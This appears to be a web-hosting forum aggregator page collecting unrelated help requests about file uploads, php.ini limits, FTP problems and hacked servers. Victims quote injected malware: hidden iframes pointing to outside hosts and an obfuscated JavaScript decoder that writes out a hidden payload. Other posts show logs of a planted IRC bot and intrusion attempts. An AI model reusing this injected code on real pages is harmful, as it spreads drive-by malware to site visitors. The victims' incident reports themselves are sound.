I am being hacked & I don't know how they are getting files on my server. They are doing it on two of my domains, I suspended one and then they got it on the other. My FTP access log does not show anything suspicious..
How can I find their doorway?
My server was being hacked, I can find some HTML and PHP files which inserted the codes similar to the following by the hacker.
HTML Code:
<iframe src="http://a5g.ru:8080/ts/in.cgi?pepsi94" width=125 height=125 style="visibility: hidden"><
/iframe>
The inserted iframe src is not the same among the hacked files.
I am trying to find out all the hacked files on server, is there any way instead of checking the files manually?
Why is it that you can upload large file size when you are using FTP, but you cant upload large file size beyond the max when you are using browser to upload?
View 3 Replies View Relatedi have free hosting server and a rule to upload 3MB file max. it works for FTP, but somehow it doesn't work for php. It seems for php the limit on my server is 100MB (no idea why)
i use following directives to limit file size in php.ini :
; Maximum size of POST data that PHP will accept.
post_max_size = 4M
(4 just for some margin )
; Maximum allowed size for uploaded files.
upload_max_filesize = 3M
and i still can find 100MB files on disk. this is part of log file from apache from the account that uploaded it to me:
Code:
boorako.[] someip - - [13/May/2007:12:21:22 +0200]
"POST /a/redir.php?capthatag=accesscode&saveto=&path=/some/path/boorako.[]/a&comment=&domail=&email=&useproxy=
&proxy=&split=&method=tc&partSize=10&redirto=/a/index.php&link=redir.php?capthatag=accesscode&saveto=&path=
/some/path/boorako.[]/a&comment=&domail=&email=&useproxy=&proxy=&split=&method=tc&partSize=10&redirto=
/a/index.php&link=[url]
HTTP/1.1" 302 188
[url]
boorako.[] someip - - [13/May/2007:12:21:35 +0200]
"POST /a/redir.php?capthatag=accesscode&saveto=&path=/some/path/boorako.[]/a&comment=
&domail=&email=&useproxy=
&proxy=&split=&method=tc&partSize=10&redirto=/a/index.php&link=redir.php?capthatag=accesscode&saveto=&path=
/some/path/boorako.[]/a&comment=&domail=&email=&useproxy=&proxy=&split=&method=tc&partSize=10&redirto=
/a/index.php&link=[url]
HTTP/1.1" 302 188 [url]
"Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
as the effect of this (at least i think so), there was 100MB file in his home dir.
any idea how can he POST such big files even with those two directives?
i have also set LimitRequestBody to 5194304 and LimitXMLRequestBody to 5194304 in apache2.conf which also should stop files being POSTED as big as 100MB.
i have php 4.4.4-9, Linux Debian, apache 2.2.3 working in worker mpm, and php as fastcgi.
P.S. i removed server info like IP, dir and address to not show specifics about my server in public, i put [] there.
I have noticed in a few Windows server tha the server gets hacked and there are tons of files which are mostly DVD rips and games being transferred away which results in huge amount of data transferred and bandwidth consumption increasing to as far as 29 Mbps. On further investigation, I find that all the files get stored in either the Recycler directory or the System Volume Information directories in any of the drives. Now these two directories are protected operating system files. Even if there is a windows firewall installed, there is no difference. I have even noticed that in some servers there is an automatic exception rule added in the windows firewall enabling the torrent client to communicate outside the server. This seems to be a common problem with Windows 2003 server and seems to be some backdoor of Windows allowing hackers to use the server for seeding. Has anybody come across such a problem or know the solution? Kindly help me with this.
View 14 Replies View RelatedI've just uploaded my website files onto the server, the website is working fine, but I'm not sure my files are 'arranged' right. I uploaded my images in a folder, but all the rest of the files are 'loose' along with the index file. If I go to either of my domain names, the website appears, which is ok for now, but I only really intended it to under one domain name, so there may be problems if I want another site up there. I think my files should be in a folder. Is this right? Should the index file be in the same folder, or should it be outside the folder with the links changed accordingly. I've been emailing my hosting service, and they 've been trying to help, but I feel a bit thick because I don't really understand what they're saying. Could someone tell me in very plain english how the files should be arranged?
View 11 Replies View Relatedi just bought php file management script, its running smoothly, the only problem was i cant upload big file ( > 1 Gigs ) using that script, then i ask the developer and he said it shouldnt be a problem since he sold that software before people and he never got a problem like that.
OS : Slamd64
apache 2.2.10
php 5.2.8
i tried to changed
post_max_size = 1900M
upload_max_filesize = 1500M
I want to install a script (a simple wordpress blog)on my website but now i'm just astonished at how many files I have to upload on my server's directory! Uploading those files one by one will take forever. Is there a way to upload multiple files all at once?
View 3 Replies View RelatedHi guys, I've been having problems trying to edit my php.ini file which I think I've now fixed.
The whole reason I wanted to do this was because I've just moved to Media Temple from another hosting company and I'm having a couple of problems with the switchover.
Basically I use a CMS system to add properties which appear on the main website. I also upload PDFs and images. On the old hosting company, the PDFs and images went into folders called dnDir/pdf and dnDir/images but on Media Temple, they are going in to a folder called tmp. I really want them to go to the same place as they used to.
Is this an issue with php.ini that I need to rectify? If so, could you point me in the right direction?
It appears that some people like to take advantage of those files for online web applications such as Wordpress which have php files with permissions set to 777. They use those as a means of creating an upload file. The upload files that they create then have access to the whole server somehow... Is there anyway of preventing this from happening?
View 8 Replies View RelatedThere is a behavour with my server FTP when uploading a whole directory with many files in many sub-directories
Very often, the server disconnect itself when actively uploading files and the log simply says 'timeout'
It is as if the file got 'stuck' half way, and the FTP consider them as idle, therefore it disconnect you with a 'timeout' before reconnecting you.
But i have no problem uploading a single 200mb file to the server via FTP. I suppose no problem with 'keep alive'
So what is this behavior and how to solve it?
I'm facing a very strange FTP issue with one of my shared-hosting accounts, while all of my other servers are having no problems but only this one, when I try to upload a file (whatever file) larger than 500kb from my local PCs, in most cases, the file would stop uploading during the process and hang there until it times out.
There are 2 interesting things though:
The file transmission typically hangs when approximately 248kb of the file have been transferred, pls see the attached screenshot for example.
If you look at the attached screenshot, you will notice that the uploading transmission hangs when 248kb of the file have been transferred. This is very strange and what I mean is that for example, I randomly pick up a file, and attempt to upload it onto my host for 10 times, now see, 5 times it will hang when 248kb of the total size have been transferred, 3 times it will hang at other points *near* 248kb (224kb or 280kb typically), 1 time it will hang at another random point, and 1 time it might be uploaded successfully (yes, there is still a tiny chance for the file to be uploaded successfully).
My default internet uploading speed is 80kb/s-100kb/s, lately I found that, when I limit the uploading speed on my FTP client (e.g. max. 30kb/s), everything WILL WORK without any problem! No hangs, no interrupt.. Whereas when I free up the uploading speed limitation and let it upload with my regular speed, the problem appears again.
It seems to me that the FTP hangs only when the uploading speed is higher than 60kb/s. However my host provider told me that they have customers uploading without any problem at over 400kb/s, and they said "there's no problem or limitations on the server at all".
Up until now, I have done following things to troubleshoot the issue but with no luck:
Contacted my host.
Disabled/Enabled the PASV mode on my FTP client.
Tried different FTP clients on different computers (FlashFXP and Filezilla).
Rebooted my router and reseted everything with the factory default settings.
Contacted my ISP for the issue, they "did something" but nothing were helpful.
Rebooted all my PCs.
Disabled both firewalls on my PC and on the router.
Furthermore, I have asked another friend of mine in another city with another ISP to test the FTP uploading, but unfortunately he got the exact same problem. And I've done some search on the internet for hours but no one seemed to have the same problem..
Hosters: Which 3rd party addon script do you find getting hacked the most?
View 11 Replies View RelatedMany of my websites on my server have been hacked, it randomly add's
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src=[url]-->
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src=[url]-->
and
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src='http://aboutmynews.org/news/InF.php' style='display:none;'></iframe--><!-- ~ --><script language=JavaScript>function dc(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,46,22,39,35,15,23,8,28,0,0,0,0,0,0,2,25,55,54,30,40,13,57,14,12,53,47,43,19,38,3,37,33,58,18,36,44,20,24,51,60,29,0,0,0,0,41,0,0,45,48,9,32,17,59,31,6,61,5,4,7,27,50,56,62,34,10,52,1,16,21,26,42,11);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("kNdXOhF18O9QSX9cfBINV3WXaXUcFmFNV3p1shZcahFNw3pc7MIoahUo7mIc75APkxjJi5_eFmZtw0_rssFcmOAt7ObJfKE1s5UrzKIcSnbrIK9caBjrwB9J@3EJfXZoa5_euXUJw4I190GosKIcDspNAy8XOhF18OYN")</script><!-- ~ -->
To some of my pages on my websites in my /home directory.
Please do not visit the links without anti virus protection.
what command I can use to search all of my files in my home directory for this?
I've just installed SSL and I'm wondering where should I put my files so that users from web are accessible only through SSL?
Do I have to upload whole site to the Private_html folder instead of public_html folder?
i have a problem trying to upload files to a server, when i try and upload a file, (.htm) i get a message: file already exists (even though it doesn't), which if i then say to overwrite, it creates an empty file of 0mb, (with the name of the file i am trying to upload).
i don't know a great deal about web servers - are there any web server settings which may be causing this.
Can someone volunteer (using the word "volunteer" because the one who agrees to help can be getting some really beginner level questions) to help me on uploading my website to a web server. The thing is i have designed and optimized (seo) some websites but i never had an experience of uploading a website on webserver (in other words launching it). I have this simple webpage and a free hosting service (Frihost) ... once i learn how to upload a webpage and get it running online .. i will make changes in the webpage and go for some paid hosting service. So can someone guide me at this? Specially the one who has hosted some page at Frihost.
View 4 Replies View Relatedtried to download files from http links to my ftp server. i looked all over the forums but could not find any services. google spitted out this one. [url]Well, it really does help to upload http links to an ftp server and move files from one ftp server to another. does anyone know other services or free scripts that help to do this?
View 0 Replies View RelatedI have a Dating Portal >>> Dating Sites but HTML file isn't uploading on my server "site5.com" Except HTML file every file is uploading there but HTML isn't
View 2 Replies View RelatedDomain has PHP Settings in Plesk set to 2G and I get this error when uploading a 48MB file using Wordpress. I assume I need ot modify this manually in conf file somewhere to allow uploading large files?
Requested content-length of 48443338 is larger than the configured limit of 10240000..
mod_fcgid: error reading data, FastCGI server closed connection...
to upload some flash videos over to our web host.
All the videos have been uploaded to << link removed >> and in there you will seea flash_video directory, in there should be a html file where you can double click and watch the flash video.
Now go ahead and try it, click on the HTML file and click CONTINUE and try clicking on MODULE 1.. You will see a video play to the left but on the right are bunch of POWERPOINT slides that will appear as the guy continues to speak. THAT DOESNT SHOW..
Our website is hosted by xo.com
Dont know much about the plan since its my 2nd day at the job..
But here is the weird part,
i have uploaded the samething - same exact way to another web host and it plays fine, the PPTs show up fine..
What do you guys think it is?
Before someone asks about uploading methods, i tried filezilla, coreftp and cuteFTP using both ASCII and binary methods. Samething..
I was working on WHM of my server sudeenly i saw CPU load was increasing and till when i understand CPU load was on peak of 160%. I tried to find out CPU overloading sites and found that my 4 populer sites were creating problem. I stopped apache and suspanded all 4 sites and rebooted server. After forceful server reboot i found that load was getting normal to 2.5%. I unsuspanded one of 2 forums but even i unsuspanded that forum was not opening (IPB). I logged into ftp suspecting some problem i found that index.php was only 45bytes i have opend index.php and found this text inside .....
View 3 Replies View RelatedSometime ago the DC told me there was too many files on server and I started to investigate what is was and i got info that some one hacked the server and was sending spam from it.
When I looked at the accounts in Direct Admin some of them had the contact email to some hacker so i deleted the emails and changed password on the DA account and the email of those accounts.
Still I got too many files all the time so the server goes down so i have to delete the spoolfile all the time like 10 times a day
Please help how do I detect from what account do the hacker operate?
Can I detect that somehow?
Is it possible to do some small script to detect this?
Is there any advanced module to DA that gives me the info?
how i could find out were the server is hosted by using the ip of the server, somehow.
View 3 Replies View RelatedSOme one has claimed that he has penetrated my server and has gathered some kind of information via shell access, I have disabled the possible ways of shell access for the users via twaek settings, and php.ini
- How I can check he has made any backdoor for himself or not?
and I have made a trojan check via Scan for Trojan Horses in WHM, and it has found about 200 possible trojans.
- How I can remove them?
217.67.250.41 - - [18/May/2009:15:36:08 +0100] "GET /w00tw00t.at.ISC.SANS.DFind HTTP/1.1" 400 226 "-" "-"
What is mean ? Sorry for ask a fast answer. I have change my domain's IP to protect someone can run dangerous script...
My dedicated server was rather slow. Upon checking, I had a new cron job, (deleted now) made by apache, pinting to the following IRC bot.
[root@server50040 tmp]# cd .LiveZone/
[root@server50040 .LiveZone]# ls -al
total 384
drwxr-xr-x 10 apache apache 4096 Dec 21 12:17 .
drwxrwxrwt 3 root root 4096 Dec 21 12:15 ..
-rwxr-xr-x 1 apache apache 320 Dec 9 2004 config
-rw------- 1 apache apache 1002 Dec 9 2004 config.h
-rw-rw-r-- 1 apache apache 55 Dec 20 22:55 cron.d
-rwxr-xr-x 1 apache apache 347 Dec 9 2004 ****
drwxr-xr-x 2 apache apache 12288 May 31 2002 help
-rwxr-xr-x 1 apache apache 210216 Dec 9 2004 httpd
drwxr-xr-x 2 apache apache 4096 Jan 12 2002 lang
-rw------- 1 apache apache 492 Dec 21 12:17 livezone
-rw-rw-r-- 1 apache apache 19 Dec 20 22:55 livezone.dir
-rw------- 1 apache apache 492 Dec 21 12:09 livezone.old
drwxr-xr-x 2 apache apache 4096 Dec 21 12:10 log
-rw-r--r-- 1 apache apache 2137 Sep 26 2003 Makefile
-rw-r--r-- 1 apache apache 731 Dec 9 2004 makefile.out
-rwxr-xr-x 1 apache apache 15090 Dec 9 2004 makesalt
drwxr-xr-x 3 apache apache 4096 Jul 30 2000 menuconf
drwxr-xr-x 2 apache apache 4096 Jul 17 2000 motd
-rwxr-xr-x 1 apache apache 14306 Nov 13 2003 proc
-rw------- 1 apache apache 6 Dec 21 12:10 psybnc.pid
-rw-r--r-- 1 apache apache 10780 Dec 9 2004 README
-rwxr-xr-x 1 apache apache 68 Jun 4 2004 run
drwxr-xr-x 2 apache apache 4096 Dec 9 2004 scripts
drwxr-xr-x 2 apache apache 4096 Dec 9 2004 src
-rw------- 1 apache apache 3901 Jan 12 2002 targets.mak
drwxr-xr-x 2 apache apache 4096 Dec 9 2004 tools
-rwxr--r-- 1 apache apache 21516 Sep 25 2002 xh
-rwxrw-r-- 1 apache apache 194 Dec 20 22:55 y2kupdate
My server was hacked some time ago. I've changed passwords and scanned system for viruses, but found nothing.
Now, I'm looking into the log file /var/log/messages and I have few questions:
1. There are a lot of messages like: Apr 2 02:53:09 host
sshd(pam_unix)[29398]: authentication failure; logname= uid=0 euid=0 tty=ssh
ruser= rhost=203.196.151.235
Do these messages mean that hacker trying to enter the server under root?
2. There are messages like these:
Apr 2 03:56:10 host clamd[4678]: stream 1255: Worm.SomeFool.P.2 FOUND
Apr 2 10:46:10 host clamd[4678]: stream 2008: Worm.Bagle.pwd-eml FOUND
What does this mean? Virus on my server or something else?
3. Also, I can see a lot of messages like this one:
Apr 2 09:38:40 host clamd[4678]: stream 1111: Email.Phishing.RB-524 FOUND
Does someone read my emails?
My server just got hacked i just bought it!!
and they was going to charge me anouther $35 to reset the password how stupid...
in the end we got it done free
My server was hacked night before last and here is the log
Oct 28 10:30:47 server1 [19705]: connection from "173.45.118.58"
Oct 28 10:30:47 server1 [19705]: User root's local password accepted.
Oct 28 10:30:47 server1 [19705]: Password authentication for user root accepted.
Oct 28 10:30:47 server1 [19705]: User root, coming from 3a.76.2d.[url], authenticated.